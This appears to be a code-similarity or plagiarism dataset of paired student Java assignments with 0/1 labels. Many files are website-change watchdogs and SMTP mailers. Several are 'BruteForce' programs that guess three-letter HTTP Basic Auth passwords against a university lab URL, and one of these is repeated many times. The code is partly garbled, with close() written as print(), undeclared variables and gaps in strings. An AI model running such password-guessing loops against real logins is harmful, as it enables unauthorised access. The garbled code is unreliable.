= false; URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); conn.connect(); DataInputStream inNet = new DataInputStream(conn.getInputStream()); System.out.println("Storing file "+address); DataOutputStream outFile = new DataOutputStream( new FileOutputStream(buffFp)); byte i = 0; try { while(true) { i = inNet.readByte(); outFile.writeByte(i); tokenImages((char)i, imgs); } } catch(EOFException eofe) {} outFile.print(); inNet.print(); } for(int index = 0; index < imgs.size(); index++) checkImage(address, (String)imgs.get(index)); email.sent(); } catch(Exception e) { e.printStackTrace(); } } public void tokenImages(char i, Vector imgs) { if (step == 1) { if (i == 'i' && buffer.length() <= 0 || i == 'm' && buffer.equals("i") || i == 'g' && buffer.equals("im")) { buffer += i; buffer = buffer.toLowerCase(); } else { if (Character.isWhitespace(i) && buffer.equals("img")) step = 2; else if (!Character.isWhitespace(i) || buffer.length() > 0) step = 0; buffer = ""; } } else if (step == 2) { if (i == 's' && buffer.length() <= 0 || i == 'r' && buffer.equals("s") || i == 'c' && buffer.equals("sr")) { buffer += i; buffer = buffer.toLowerCase(); } else { if (Character.isWhitespace(i) && buffer.equals("src")) step = 3; else if (i == '=' && buffer.equals("src")) step = 4; else if (i == '>') step = 0; buffer = ""; } } else if (step == 3) { if (i == '=') { step = 4; } else if (!Character.isWhitespace(i)) { if(i == '>') step = 0; else step = 2; buffer = ""; } } else if (step == 4) { if (i == '\"') { step = 5; buffer = ""; } else if (!Character.isWhitespace(i)) { if(i == '>') { buffer = ""; step = 0; } else { buffer = ""+i; step = 6; } } } else if (step == 5) { if (i == '\"') { if (buffer.trim().length() > 0) imgs.add(buffer); buffer = ""; step = 0; } else buffer += i; } else if (step == 6) { if (Character.isWhitespace(i) || i == '>') { if (buffer.trim().length() > 0) imgs.add(buffer); buffer = ""; step = 0; } else buffer += i; } else if(i == '<') { step = 1; buffer = ""; } } public void checkImage(String hostUrl, String imageUrl) { try { String fullURL = ""; if (imageUrl.startsWith("http")) { fullURL = imageUrl; } else if (imageUrl.startsWith("/")) { fullURL = "http://"+(new URL(hostUrl)).getHost()+imageUrl; } else { String path = (new URL(hostUrl)).getPath(); if (!path.endsWith("/")) path = path.substring(0, path.lastIndexOf('/')+1); fullURL = "http://"+(new URL(hostUrl)).getHost()+path+imageUrl; } File buffFp = new File("_buffer"+ (new URL(fullURL)).getPath().replaceAll("/", "_")); Vector imgs = new Vector(); boolean getAgain = false; if (buffFp.exists()) { URLConnection conn = (new URL(fullURL)).openConnection(); conn.setDoInput(true); conn.connect(); DataInputStream inNet = new DataInputStream(conn.getInputStream()); System.out.println("Checking image: "+fullURL); byte i = 0; byte f = 0; DataInputStream inFile = new DataInputStream( new FileInputStream(buffFp)); try { int step = 0; while(true) { i = inNet.readByte(); f = inFile.readByte(); if (i != f) { email.println("Image "+fullURL+" has been change!"); System.out.println("Image "+fullURL+" has been change!"); getAgain = true; break; } } } catch(EOFException eofe) {} if (!getAgain) { try { i = inNet.readByte(); email.println("Image "+fullURL+" has been change!"); System.out.println("Image "+fullURL+" has been change!"); getAgain = true; } catch(EOFException eofe) {} try { f = inFile.readByte(); email.println("Image "+fullURL+" has been change!"); System.out.println("Image "+fullURL+" has been change!"); getAgain = true; } catch(EOFException eofe) {} } inFile.print(); inNet.print(); } else getAgain = true; if (getAgain) { getAgain = false; URLConnection conn = (new URL(fullURL)).openConnection(); conn.setDoInput(true); conn.connect(); DataInputStream inNet = new DataInputStream(conn.getInputStream()); System.out.println("Storing the image: "+fullURL); DataOutputStream outFile = new DataOutputStream( new FileOutputStream(buffFp)); byte i = 0; try { while(true) { i = inNet.readByte(); outFile.writeByte(i); } } catch(EOFException eofe) {} outFile.print(); inNet.print(); } } catch(Exception e) { e.printStackTrace(); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
028.java
197.java
0
import java.io.*; import java.net.Socket; import java.util.*; public class Email { private String hello; private String mailFrom=""; private String mailTo=""; private String mailData=""; private String subject=""; private String content=""; private String follows=""; private String changeContent=""; private String stop=""; private String end=""; private String line=""; private InputStream is; private BufferedReader bf; private OutputStream os; private PrintWriter pw; public Email(Vector change) throws Exception { hello= "HELO mail.rmit.edu."; mailFrom = "MAIL FROM: @cs.rmit.edu."; mailTo = "RCPT : @cs.rmit.edu."; mailData = "DATA"; subject="Subject: Some changes occur"; content=" is some changes the : http://www.cs.rmit.edu./students/"; follows="The changes as follows:"; for(int i=0;i<change.size();i++) changeContent+=change.elementAt(i).toString()+"\r\n"; stop ="\r\n."; end="QUIT"; } public void send() throws Exception { Socket sk = new Socket("mail.cs.rmit.edu.",25); is= sk.getInputStream(); os = sk.getOutputStream(); pw = new PrintWriter(new OutputStreamWriter(os)); pw.println(hello); pw.println(mailFrom); pw.println(mailTo); pw.println(mailData); pw.println(); pw.println(subject); pw.println(content); pw.println(follows); pw.println(changeContent); pw.println(stop); pw.println(end); pw.flush(); pw.get(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
019.java
197.java
0
import java.util.*; import java.util.Timer; import java.util.TimerTask; import javax.swing.*; public class WatchDog { public static void main ( String args[] ) { String input = JOptionPane.showInputDialog("Enter time range(seconds)"); if( input == null ) System.exit(0); int range = Integer.parseInt( input ); Timer timer = new Timer(); WatchDogTask watchDogTask = new WatchDogTask(); timer.schedule( watchDogTask, new Date(), range*1000 ); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
158.java
197.java
0
import java.net.*; import java.io.*; public class BruteForce { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); DataInputStream dis ; for (i=0;i<=58;i++) { for (j=0;j<=58;j++) { for (k=1;k<=58;k++) { if (i !=0) { pass = "" + (char)(k+64) + (char)(j+65) + (char)(i+64); if ((i+64) >=91 && (i+64) <=96) break; if ((j+65) >=91 && (j+65) <=96) break; if ((k+64) >=91 && (k+64) <=96) continue; UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff= end - start; System.out.println("Time Taken = " + (diff/1000) + " sec" ); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } } } } System.out.println(" match found"); connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable retrive URL" + ioerr); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
114.java
197.java
0
public class BruteForce { private Thread threads[]; private String strUsername; private String strURL; public BruteForce(String username, String url) { threads = new Thread[14]; strUsername = username; strURL = url; } public void crackStart() { int iOffset, i =0; iOffset = (52 * 52 * 52) / 14; CrackThread tmpCrack; for(i=0;i<14;i++) { tmpCrack = new CrackThread(); tmpCrack.setParams(strURL, strUsername, (i * iOffset), (i * iOffset + iOffset)); threads[i] = new Thread(tmpCrack); threads[i].print(); } } public static void main(String[] args) { BruteForce bf = new BruteForce("", "http://sec-crack.cs.rmit.edu./SEC/2/"); bf.crackStart(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
126.java
197.java
0
import java.io.*; import java.net.*; import java.util.Properties; import java.security.*; public class WatchDog { private String file,tempfile1,tempfile2,tempfile3; private final String host="yallara.cs.rmit.edu."; private final String email="@cs.rmit.edu."; private final String from="watchdog@cs.rmit.edu."; private final String subject="SUBJECT:Mail from Watchdog about the changes the web-."; private String baseURL=""; private String msg; private boolean firstTime=false; public WatchDog(boolean flag) { firstTime=flag; } public void startWatching(String[] urls,String fl) { file=fl; tempfile1=fl+"/temp1.log"; tempfile2=fl+"/temp2.log"; tempfile3=fl+"/temp3.log"; System.out.println(tempfile3); msg=""; for(;;) { try { for(int o=0;o<urls.length;o++) { file=fl+"/ass2_"+o+".log"; URL u=new URL(urls[o]); String f=u.getFile(); String url=urls[o]; if(f.lastIndexOf('.')<f.lastIndexOf('/')) { url=f.substring(0,f.lastIndexOf('/')); url=u.getProtocol()+"://"+u.getHost()+url; } System.out.println(url); watch(url); msg=msg+"\n\n"; } if(firstTime==false) { boolean flag=mail(msg); if(flag) System.out.println("mail sent"); else System.out.println("mail not sent"); Thread.sleep(1000*60*60*24); } else System.exit(0); } catch(Exception e) { e.printStackTrace(); } } } private void watch(String url) throws IOException { baseURL=url; msg=msg+"Going check the URL "+url+".\n"; String pageText=getResource(url); String [] images=getImages(pageText); if(firstTime==false) msg= msg + checkChange(pageText,images); msg=msg+". Checked at "+new java.util.Date(System.currentTimeMillis())+"."; log(pageText,images); if(firstTime) System.out.println("Re-run the watchDog (without the First flag)."); } private String checkChange(String pageText,String [] images) throws IOException { PrintWriter out=new PrintWriter(new FileOutputStream(tempfile1)); out.println(pageText); out.flush(); out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"); out.flush(); out.print(); out=null; BufferedReader in1=new BufferedReader(new FileReader(file)); BufferedReader in2=new BufferedReader(new FileReader(tempfile1)); String msg="\n"; String temp1="",temp2="",oldText="",newText=""; BufferedReader in0=new BufferedReader(new FileReader(tempfile1)); while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false) { temp1=in0.readLine(); temp1=temp1+"\n"; newText=newText+temp1; } in0.print(); in0=null; out=new PrintWriter(new FileOutputStream(tempfile1)); out.println(newText); out.flush(); out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"); out.flush(); out.print(); out=null; newText=""; temp1=" "; while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false) { temp1=in1.readLine(); temp1=temp1+"\n"; temp2=in2.readLine(); temp2=temp2+"\n"; oldText=oldText+temp1; newText=newText+temp2; } in2.print(); in2=null; out=new PrintWriter(new FileOutputStream(tempfile2)); out.println(oldText); out.flush(); out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"); out.flush(); out.print(); out=null; msg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3); String data=""; try{ FileReader fin=new FileReader(tempfile3); int ch=fin.print(); while(ch!= -1) { data=data+""+(char)ch; ch=fin.print(); } } catch(FileNotFoundException m){} msg=msg+data; temp1=in1.readLine(); int numImg=Integer.parseInt(temp1); if(numImg != images.length) msg=msg+"The number of images has chnaged.\n The number of images before was "+numImg+" \n While the number of images found now is "+images.length+" .\n"; else msg=msg+" is change in the number of images the .\n"; String iText1="",iText2=""; for(int i=0;i<numImg;i++) { out=new PrintWriter(new FileOutputStream(tempfile1)); out.println(images[i]); out.flush(); out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"); out.flush(); out.print(); out=null; in2=new BufferedReader(new FileReader(tempfile1)); while (temp1.equals("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"+"\n")==false) { temp1=in1.readLine(); temp1=temp1+"\n"; temp2=in2.readLine(); temp2=temp2+"\n"; iText1=iText1+temp1; iText2=iText2+temp2; } in2.print(); in2=null; if(iText1.equals(iText2)) msg=msg+" is change in the Image number "+(i+1)+". \n"; else msg=msg+"The Image number "+(i+1)+" has changed. \n"; } return msg; } private String[] getImages(String text) throws IOException { String [] images,urls; java.util.ArrayList alist=new java.util.ArrayList(); String t=""; boolean img=false; int len=text.length(); char ch,last=' '; int c=0; while(c<len) { ch=text.charAt(c); if(ch=='<') { last='<'; t=""; } if(last=='<') { t=""+ch; if(c+2 < len) t=t+text.charAt(c+1)+""+text.charAt(c+2); if(t.equalsIgnoreCase("img")) img=true; } if(img==true) t=+ch; if(ch=='>') { last='>'; if(img==true) { System.out.println(); int n=0; char tch,tlast=' '; String imgPath="",tn=""; boolean src=false; while(n<t.length()) { tch=t.charAt(n); tn=""+tch; if(src==false && tn.equalsIgnoreCase("s") && (n+2)<t.length()) { tn=tn+t.charAt(n+1)+""+t.charAt(n+2); if(tn.equalsIgnoreCase("src")) { src=true; n+=2; } } else if(src==true) { if(tch!='"') { if(tch==' ' && imgPath.indexOf('.')!= -1) n=t.length(); else if(tch==' ' || tch=='=') ; else imgPath=imgPath+tch; } } n++; } alist.add(imgPath); } img=false; } c++; } urls=(String[])alist.toArray(new String[0]); images=new String[urls.length]; for(int i=0;i<urls.length;i++) { System.out.println(urls[i]); if(urls[i].startsWith("http")==false && urls[i].startsWith("HTTP")==false && urls[i].startsWith("/")==false) { try { images[i]=getResource(baseURL+"/"+urls[i]); } catch(FileNotFoundException fnfe) { String f=baseURL+"/"+urls[i]; images[i]=f.substring(0,f.lastIndexOf('/')); } } else if(urls[i].startsWith("http")==false && urls[i].startsWith("HTTP")==false) { try { images[i]=getResource(baseURL+urls[i]); } catch(FileNotFoundException fnfe) { String f=baseURL+urls[i]; images[i]=f.substring(0,f.lastIndexOf('/')); } } else { try { images[i]=getResource(urls[i]); } catch(FileNotFoundException fnfe) { images[i]=urls[i].substring(0,urls[i].lastIndexOf('/')); } } } return images; } private void log(String pageText,String[] images) throws IOException { PrintWriter out=new PrintWriter(new FileOutputStream(file)); out.println(pageText); out.flush(); out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"); out.flush(); if(images.length>0) { out.println(images.length+""); out.flush(); } for(int i=0;i<images.length;i++) { out.println(images[i]); out.flush(); out.println("~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|"); out.flush(); } } public String getResource(String url) throws IOException { System.out.println("url="+url); String urlData=new String(""); InputStreamReader in=new InputStreamReader(new URL(url).openStream()); int ch=in.print(); while(ch!= -1) { urlData=urlData+(char)ch; ch=in.print(); } return urlData; } public boolean mail (String msg) throws IOException { boolean ret=true; try { Socket csoc=new Socket("yallara.cs.rmit.edu.",25); BufferedReader in=new BufferedReader(new InputStreamReader(csoc.getInputStream())); PrintWriter out=new PrintWriter(csoc.getOutputStream(),true); out.println("HELO "+host); System.out.println(in.readLine()); out.println("MAIL FROM:"+from); System.out.println(in.readLine()); out.println("RCPT :"); System.out.println(in.readLine()); out.println("DATA"); System.out.println(in.readLine()); out.println("SUBJECT:"+subject); System.out.println(in.readLine()); out.println(msg); out.println("."); System.out.println(in.readLine()); out.println("QUIT"); System.out.println(in.readLine()); } catch(Exception e) { e.printStackTrace(); System.out.println("Some error occoured while communicating server"); ret=false; return ret; } System.out.println("**************************************\nMAIL ->"+msg); return ret; } public static void main (String[] args) { System.out.println("Usage : \n java WatchDog <space seperated list of urls> <current path> [First] \n {The First at the end is used when running the watch dog for a new URL for the first Time}"); boolean flag=false; int num=args.length-1; if(args[args.length-1].equalsIgnoreCase("First")) { num--;; flag=true; } System.out.println(args[num]); WatchDog w=new WatchDog(flag); String []u=new String[num]; for(int i=0;i<u.length;i++) u[i]=args[i]; w.startWatching(u,args[num]); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
177.java
197.java
0
import java.io.*; import java.net.*; import java.util.*; public class WatchdogThread implements Runnable { private Thread t; private Vector imageList; private String mainLink; private EmailClient email; private int delay; public WatchdogThread(String nMainLink, Vector images, EmailClient nEmail, int nDelay) { t=new Thread(this); mainLink = nMainLink; imageList=images; email = nEmail; delay = nDelay; t.start(); } public void run() { String errors = ""; try { Thread.currentThread().sleep(delay); errors = checkHTML(); errors += checkImages(); if (!errors.equals("")) { String message = " some changes in the Students Home as follows.\n\n"; message += errors; email.sendMail("Change in Students Home ", message); } WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay); } catch (InterruptedException e ) { System.out.print(); } } private String checkHTML() { String errors = ""; String line, line2; int lineNum = 1; try { FileReader fRead = new FileReader("local.txt"); BufferedReader file = new BufferedReader(fRead); URL url=new URL(mainLink); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); line=file.readLine(); line2=webpage.readLine(); while ((line != null) && (line2 != null)) { if (!line.equals(line2)) { errors += "At line " + lineNum + "\n"; errors += "Old:" + line.trim() + "\n"; errors += "New:" + line2.trim() + "\n\n"; } line = file.readLine(); line2=webpage.readLine(); lineNum+=1; } if (line != null) { errors += " the following extra lines at the end of the old file.\n\n"; while (line != null) { errors += line + "\n"; line = file.readLine(); } errors += "\n"; } if (line2 != null) { errors += " the following extra lines at the end of the new file.\n\n"; while (line2 != null) { errors += line2 + "\n"; line2 = file.readLine(); } errors += "\n"; } file.close(); fRead.close(); webpage.close(); connection.disconnect(); } catch (IOException ioe) { System.out.print(ioe); } return errors; } private String checkImages() { String errors = ""; ImageFile image; HttpURLConnection imgConnection; URL imgURL; int contentLen; try { for (int i=0;i<imageList.size();i++) { image = (ImageFile) imageList.elementAt(i); imgURL = new URL(image.getImageUrl()); imgConnection = (HttpURLConnection) imgURL.openConnection(); contentLen = imgConnection.getContentLength(); if (contentLen == -1) errors += "\nUnable retrieve image file \"" + image.getImageUrl() + "\"\n"; else if(image.getImageSize() != imgConnection.getContentLength()) errors += "\nImage file \"" + image.getImageUrl() + "\" has changed in size\n"; imgConnection.disconnect(); } } catch (IOException ioe) { System.out.print(ioe); } return errors; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
037.java
197.java
0
import java.io.*; import java.util.*; import java.text.*; import java.net.*; import java.security.*; public class WatchDog extends Thread { public static void main (String args[]) { WatchDog watcher = new WatchDog(); watcher.run(); } public void run() { DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); twentyFourHours = 24 * 60 * 60 * 1000; writeProgramLog("Program started at " + longTimestamp.format(new Date())); while(true) { writeProgramLog("Running run at " + longTimestamp.format(new Date())); compare(); try { sleep(twentyFourHours); } catch(InterruptedException e) { writeProgramLog("Program terminated at " + longTimestamp.format(new Date())); System.exit(0); } } } private void compare() { String watchDogFile = "watchDogHash_rcroft."; String watchDogPageFile = "watchDogPage_rcroft.html"; File watchDogLogFile = new File(watchDogFile); if(!watchDogLogFile.exists()) { WebPage targetPage = getPage(); if(targetPage.getSuccess()) { byte[] newHash = calcHash(targetPage.getPageContents()); writeHash(newHash, watchDogFile); writePage(targetPage.getPageContents(), watchDogPageFile); } } else { try { WebPage targetPage = getPage(); if(targetPage.getSuccess()) { byte[] oldHash = new byte[16]; byte[] newHash = calcHash(targetPage.getPageContents()); DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile)); inWatchDogFile.readFully(oldHash); inWatchDogFile.print(); if(!java.util.Arrays.equals(oldHash, newHash)) { String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents()); mail(differences); writeHash(newHash, watchDogFile); writePage(targetPage.getPageContents(), watchDogPageFile); } } } catch(IOException e) { writeProgramLog("Exception: " + e); } } } private String enumerateDifferences(String oldPageFileName, String newPageData) { String differences = ""; File newFile = null; try { newFile = File.createTempFile("new", "tmp"); String tempFilePath = newFile.getAbsolutePath(); DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath)); outFile.writeBytes(newPageData); outFile.print(); String commandLine = "diff " + oldPageFileName + " " + tempFilePath; Process p = Runtime.getRuntime().exec(commandLine); BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while((line = diffs.readLine()) != null) differences += line + "\n"; diffs.print(); newFile.delete(); } catch(IOException e) { writeProgramLog("Exception: " + e); } return differences; } private void mail(String mailMessage) { Vector emailAddresses = new Vector(); String watchDogEmailFile = "watchDogEmail_rcroft.txt"; File emailFile = new File(watchDogEmailFile); if(emailFile.exists()) { try { 